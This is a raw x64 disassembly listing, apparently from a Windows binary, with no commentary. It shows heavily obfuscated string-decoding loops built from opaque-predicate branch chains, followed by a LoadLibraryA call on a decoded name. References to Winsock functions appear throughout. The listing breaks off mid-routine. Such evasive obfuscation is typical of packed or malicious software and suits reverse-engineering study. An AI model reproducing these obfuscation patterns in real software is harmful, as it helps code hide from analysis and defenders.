cmp r9, rbx
ja 0x140180f39
lea rax, [r8 + 1]
cmp r9, rax
jae 0x140180275
movabs rcx, 0x74a23b4f6e30bc9
add rcx, rbx
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 0x7f
jmp 0x1401802a2
je 0x140180eb4
lea rax, [r8 + 3]
cmp r9, rax
je 0x140180e12
lea rax, [r8 + 4]
cmp r9, rax
je 0x140180da9
lea rax, [r8 + 6]
cmp r9, rax
je 0x140180d7f
cmp r8, rbx
ja 0x140180f30
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x1401802d0
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x6b
add r11b, dl
jmp 0x140180311
lea rax, [r8 + 1]
cmp r9, rax
je 0x140180d2a
lea rax, [r8 + 2]
cmp r9, rax
je 0x140180cff
lea rax, [r8 + 3]
cmp r9, rax
je 0x140180cda
lea rax, [r8 + 4]
cmp r9, rax
je 0x140180cb5
lea rax, [r8 + 7]
cmp r9, rax
je 0x140180c8d
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1401808da
nop
lea rax, [r8 + 2]
cmp r9, rax
je 0x1401808b4
lea rax, [r8 + 0x5a]
cmp r9, rax
je 0x140180882
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x140180853
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x14018082d
lea rax, [r8 + 0x64]
cmp r9, rax
je 0x140180804
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1401807db
lea rax, [r8 + 0xa]
cmp r9, rax
je 0x1401807b2
lea rax, [r8 + 6]
cmp r9, rax
je 0x140180789
lea rax, [r8 + 3]
cmp r9, rax
je 0x14018074f
lea rax, [r8 + 0x2a]
cmp r9, rax
je 0x140180320
lea r9, [r8 + 0x20]
lea r8, [r9 + 0x7a]
lea rax, [r8 + 9]
cmp r9, rax
jb 0x140180f0c
lea rax, [r8 + 5]
cmp r9, rax
jb 0x140180ee8
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1401804ee
lea rax, [r8 + 0x5a]
cmp r9, rax
jb 0x1401804c6
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x1401804ab
lea rax, [r8 + 0x3e8]
cmp r9, rax
jb 0x14018067f
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x140180320
lea r9, [r8 + 1]
lea r8, [r9 + 0x28]
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x14018064a
lea rax, [r8 + 0x1000]
cmp r9, rax
ja 0x140180622
lea rax, [r8 + 0x200]
cmp r9, rax
ja 0x1401805fe
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1401805da
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1401805b6
lea rax, [r8 + 9]
cmp r9, rax
ja 0x140180591
lea rax, [r8 + 5]
cmp r9, rax
ja 0x140180566
lea rax, [r8 + 2]
cmp r9, rax
ja 0x140180539
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x140180515
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x140180320
lea r9, [r8 + 8]
lea r8, [r9 + 0x3e8]
jmp 0x140180320
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0xb
jmp 0x140180311
movabs rdx, 0xe6ad1bd81f814e91
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 9
add r11b, dl
jmp 0x1401802a2
movabs rdx, 0xd818d46e31bb36ff
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add dl, 7
add r11b, dl
jmp 0x140180236
movabs rcx, 0xc8a76ec204ffbbe8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x140180d4d
movabs rcx, 0xba1327581739a456
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5a
inc r8
dec rbx
inc rbx
jmp 0x140180223
movabs rcx, 0xab7edfee29738cc4
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5c
dec rbx
inc rbx
jmp 0x140180223
movabs rdx, 0x9cea98843bad7532
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5e
jmp 0x140180dc9
movabs rcx, 0x8e56511a4de75da0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x140180df6
movabs rcx, 0x7fc209b06021460e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x62
jmp 0x140180df9
movabs rcx, 0x712dc246725b2e7c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
jmp 0x140180e33
movabs rdx, 0x62997adc849516ea
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x66
add r11b, dl
jmp 0x140180e66
movabs rcx, 0x5405337296ceff58
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
movabs rdx, 0x3d5aaabfb0d7db5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0xd
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0xa
je 0x140180c5c
lea rax, [r8 + 0x1000]
cmp r9, rax
jbe 0x140180a54
movabs rdx, 0xbcaa821ed419cee5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x43
add r11b, dl
cmp r9, 0x5a
jae 0x140180c2b
lea rax, [r8 + 0x10]
cmp r9, rax
jbe 0x140180b13
movabs rdx, 0x55bf6ff714b9c662
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
cmp r8, 5
jb 0x140180c1b
movabs rcx, 0xe78a3a1a5e76b216
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea r11d, [rcx*2 - 0x34]
jmp 0x140180d4d
movabs rdx, 0x967d931183bfccee
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
movabs rdx, 0x87e94ba795f9b55c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140180e66
movabs rdx, 0x7955043da8339dca
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140180e33
movabs rdx, 0x6ac0bcd3ba6d8638
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140180df9
movabs rdx, 0x5c2c7569cca76ea6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140180df6
movabs rdx, 0x4d982dffdee15714
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x3a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140180dc9
movabs rdx, 0x3f03e695f11b3f82
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x39
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140180223
movabs rdx, 0x306f9f2c035527f0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyport
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x140180223
movabs rdx, 0x21db57c2158f105e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140180d4a
lea rax, [r8 + 0x2a]
cmp r9, rax
jae 0x140180908
movabs rdx, 0x74a23b4f6e30bc9
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7f
jmp 0x14018069f
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14018094b
movabs rdx, 0x3229dbb0813feefa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
inc rax
cmp r9, rax
jne 0x14018097c
movabs rdx, 0x40be231a6f06068c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140180e66
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1401809ae
movabs rdx, 0x4f526a845ccc1e1e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140180e33
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1401809dd
movabs rdx, 0x7b0f40c2261e64d4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140180dc9
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140180a15
movabs rdx, 0x89a3882c13e47c66
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1b
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x140180223
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1401806a2
movabs rdx, 0x9837cf9601aa93f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r8
dec rbx
inc rbx
jmp 0x140180223
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x140180a81
movabs rcx, 0xcb3ec988c1dfe677
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x41
jmp 0x140180d4d
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140180ab5
movabs rcx, 0xe867585c9d6c159b
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3d
dec rbx
inc rbx
jmp 0x140180223
lea rax, [rcx + 1]
cmp r9, rax
jne 0x140180ae2
movabs rcx, 0xf6fb9fc68b322d2d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3b
jmp 0x140180dcc
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1401806e3
movabs rcx, 0x314cbd6e424a8b75
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x33
jmp 0x140180e66
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140180b56
movabs rdx, 0x6453b761027fddf4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x2a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
inc rax
cmp r9, rax
jne 0x140180b87
movabs rdx, 0x817c4634de0c0d18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x140180e33
lea rax, [r8 + 2]
cmp r9, rax
jne 0x140180bb0
lea rdx, [rbx + r14]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x140180df6
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140180bdf
movabs rdx, 0xad391c72a75e53ce
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x140180dc9
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14018071e
movabs rdx, 0xbbcd63dc95246b60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x140180223
mov byte [rbp + rbx + 0xcc5], r11b
inc rbx
jmp 0x140180223
movabs rdx, 0xf61e81844c3cc9a8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xcc5]
add r11b, dl
add r11b, r10b
jmp 0x140180dcc
movabs rdx, 0x4b2c8ee3a02e13a
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rbx + 0xcc5]
add r11b, dl
add r11b, r10b
jmp 0x140180e33
movabs rdx, 0xdb72927aed0b40d
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5b
add r11b, dl
jmp 0x140180e66
movabs rcx, 0xf08e9a53d34484e9
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5f
jmp 0x140180df9
movabs rdx, 0xd3660b7ff7b855c5
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x63
jmp 0x140180dc9
movabs rcx, 0xc4d1c41609f23e33
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x65
dec rbx
inc rbx
jmp 0x140180223
movabs rdx, 0xa7a935422e660f0f
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x69
add r11b, dl
movabs rcx, 0xeed45dcf5559bddf
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x19
add cl, r10b
mov byte [rbp + rbx + 0xcc5], cl
inc r8
dec rbx
inc rbx
jmp 0x140180223
movabs rcx, 0x6d58179a774db0c7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x71
dec rbx
inc rbx
jmp 0x140180223
movabs rdx, 0x5ec3d03089879935
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x73
add r11b, dl
movabs rcx, 0xfd68a539431fd571
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x17
add r10b, cl
add r10b, r11b
mov byte [rbp + rbx + 0xcc5], r10b
add r9, r8
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140180223
mov r10, rdx
movabs rcx, 0x3306f9f2c035527f
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x79
movabs rdx, 0xbfceca330e5ed03
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xcc5], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x1347105827c8f8cc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xcc5], cl
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
movabs rcx, 0x15de6b1ee4a9235b
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x7d
movzx eax, byte [rbp + rbx + 0xcc5]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140180223
movabs rcx, 0xc9848d0443f51f6d
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 5
jmp 0x140180220
movabs rcx, 0xbaf0459a562f07db
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 3
jmp 0x140180210
lea rcx, [rbp + 0x14bf7d1]
jmp 0x140180f49
lea rcx, [rbp + 0xaf039a]
jmp 0x140180f49
lea rcx, [rbp + 0xcc5]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140180f64
xor r15b, r15b
mov byte [rsp + 0x60], r15b
jmp 0x140181d58
mov byte [rbp + 0x21cd], 0xee
mov byte [rbp + 0x21ce], 0xc5
mov byte [rbp + 0x21cf], 0xe0
mov byte [rbp + 0x21d0], 0xea
mov byte [rbp + 0x21d1], 0xe9
mov byte [rbp + 0x21d2], 0xf1
mov byte [rbp + 0x21d3], 0xd3
mov byte [rbp + 0x21d4], 0xc1
mov byte [rbp + 0x21d5], getservbyname
mov byte [rbp + 0x21d6], 0x2a
mov byte [rbp + 0x21d7], gethostbyaddr
mov byte [rbp + 0x21d8], reloc.WS2_32.dll_select
mov byte [rbp + 0x21d9], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x21da], recvfrom
mov byte [rbp + 0x21db], getservbyname
mov byte [rbp + 0x21dc], getservbyname
mov byte [rbp + 0x21dd], reloc.WS2_32.dll_gethostbyname
mov byte [rbp + 0x21de], reloc.WS2_32.dll_gethostbyaddr
mov byte [rbp + 0x21df], 0x3d
mov byte [rbp + 0x21e0], 0x3f
mov byte [rbp + 0x21e1], 0xc4
xorps xmm0, xmm0
movups xmmword [rbp + 0x21e2], xmm0
movabs r12, 0x58f23cf4140e9098
movzx ebx, byte [rbp + 0x5d00]
xor r14d, r14d
movabs r15, 0xb32b000031d594d8
nop
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov r11, r14
cmp r11, 0x25
jae 0x140181bff
movzx r10d, byte [rbp + r11 + 0x21cd]
mov rdi, r10
nop dword [rax]
cmp r8, r11
ja 0x140181bf6
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140181084
movabs rcx, 0x14b8e79e7c471f78
add rcx, r11
mov rax, rcx
and rax, r10
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r10
sub bl, 0x48
jmp 0x1401810c0
je 0x140181b69
lea rax, [r9 + 2]
cmp r8, rax
je 0x140181ac9
lea rax, [r9 + 4]
cmp r8, rax
je 0x140181a8f
lea rax, [r9 + 5]
cmp r8, rax
je 0x140181a3d
lea rax, [r9 + 3]
cmp r8, rax
je 0x140181a0d
nop
cmp r9, r11
ja 0x140181bed
lea rax, [r9 + 0x64]
cmp r8, rax
jae 0x1401810ed
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140181140
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1401819b6
lea rax, [r9 + 2]
cmp r8, rax
je 0x140181989
lea rax, [rcx + 1]
cmp r8, rax
je 0x14018196f
lea rax, [r9 + 3]
cmp r8, rax
je 0x14018194c
lea rax, [r9 + 4]
cmp r8, rax
je 0x140181927
lea rax, [r9 + 7]
cmp r8, rax
je 0x1401818ee
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, r11
jbe 0x14018162d
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140181606
lea rax, [r9 + 8]
cmp r8, rax
je 0x1401815da
lea rax, [r9 + 4]
cmp r8, rax
je 0x1401815b1
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14018159d
lea rax, [r9 + 5]
cmp r8, rax
je 0x140181576
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x140181551
lea rax, [r9 + 6]
cmp r8, rax
je 0x14018152e
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1401814f9
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
lea rax, [r9 + 0x20]
cmp r8, rax
jb 0x140181bc6
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140181ba2
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1401812ef
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1401812c8
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1401812a3
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140181497
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14018140b
lea r8, [r9 + 0x64]
lea r9, [r8 + 0xa]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1401813e6
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1401813c1
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14018139a
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140181377
lea rax, [r9 + 5]
cmp r8, rax
ja 0x140181353
lea rax, [r9 + 2]
cmp r8, rax
ja 0x14018133f
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140181316
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x200]
jmp 0x140181150
movabs rdx, 0x4065c30d7a9e1628
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x18
add bl, dl
jmp 0x140181140
movabs rdx, 0x16f3f3d0820fd738
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x1401810c0
movabs rdx, 0xed82249389819848
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140181046
movabs rcx, 0x467461879d9028e0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x20
dec r11
inc r11
jmp 0x140181033
movabs rdx, 0x1d02924aa501e9f0
mov ecx, reloc.WS2_32.dll_getservbyport
jmp 0x140181a4c
movabs rcx, 0xf390c30dac73ab00
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add r8, r9
jmp 0x140181ab1
movabs rcx, 0xca1ef3d0b3e56c10
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
jmp 0x140181ab1
movabs rdx, 0xa0ad2493bb572d20
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
jmp 0x140181aec
movabs rdx, 0x773b5556c2c8ee30
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x50
add bl, dl
jmp 0x140181b1d
movabs rdx, 0x4dc98619ca3aaf40
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140181b89
movabs rcx, 0x934961876bba9408
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x38
cmp r8, 0x2a
jae 0x140181895
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x1401817cd
movabs rcx, 0xa33a30c3cec81470
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
cmp r9, 0x200
jb 0x140181885
movabs rdx, 0x41ac4925845689d0
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 0x60]
jmp 0x1401819d6
movabs rdx, 0x69d7924a732c5518
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
lea rax, [r9 + r8]
cmp rax, 9
je 0x1401818c2
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x1401816fe
movabs rdx, 0xf00f30c39cf27f98
add rdx, r11
movzx eax, r10b
and al, dl
add al, al
movzx ebx, r10b
sub bl, al
sub bl, 0x28
add bl, dl
jmp 0x140181429
movabs rcx, 0x330200012b017d10
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x70
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
movabs rcx, 0xe01e618739e4ff30
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x50
jmp 0x140181aec
movabs rdx, 0xb6ac924a4156c040
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x140181aaf
movabs rcx, 0x8d3ac30d48c88150
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
add r8, r9
jmp 0x140181ab1
movabs rdx, 0x63c8f3d0503a4260
mov ecx, gethostbyaddr
jmp 0x140181a4c
movabs rcx, 0x3a57249357ac0370
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x10
dec r11
inc r11
jmp 0x140181033
movabs rcx, 0x10e555565f1dc480
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
add bl, 0x80
inc r9
dec r11
inc r11
jmp 0x140181033
movabs rdx, 0xe7738619668f8590
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
jmp 0x1401819d6
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140181659
movabs rcx, 0x14b8e79e7c471f78
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x48
jmp 0x1401814b9
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018169b
movabs rdx, 0x6656000063ab29b0
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r10b
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
inc rax
cmp r8, rax
jne 0x1401816c7
movabs rcx, 0xe2ab6db74d55e680
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
add bl, 0x80
jmp 0x140181ab1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1401814b9
movabs rcx, 0x5f00db6e3700a350
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x30
dec r11
inc r11
jmp 0x140181033
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14018172c
movabs rdx, 0x198100009580be88
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
jmp 0x1401819d4
inc rax
cmp r8, rax
jne 0x14018175e
movabs rdx, 0xbf483cf477b9ba48
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
add bl, dl
add r8, r9
jmp 0x140181ab1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14018178a
movabs rcx, 0x122bdb6e68d63828
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea ebx, [r10 + rcx]
sub bl, 0x18
jmp 0x140181aec
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140181429
movabs rcx, 0x650f79e859f2b608
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea ebx, [rcx + r10]
sub bl, 0x38
movzx eax, byte [rbp + r11 + 0x21cd]
add rax, r9
add r11, rax
inc r11
jmp 0x140181033
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1401817fb
movabs rdx, 0xccac0000c7565360
add rdx, r11
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea ebx, [rcx + rcx]
add bl, r10b
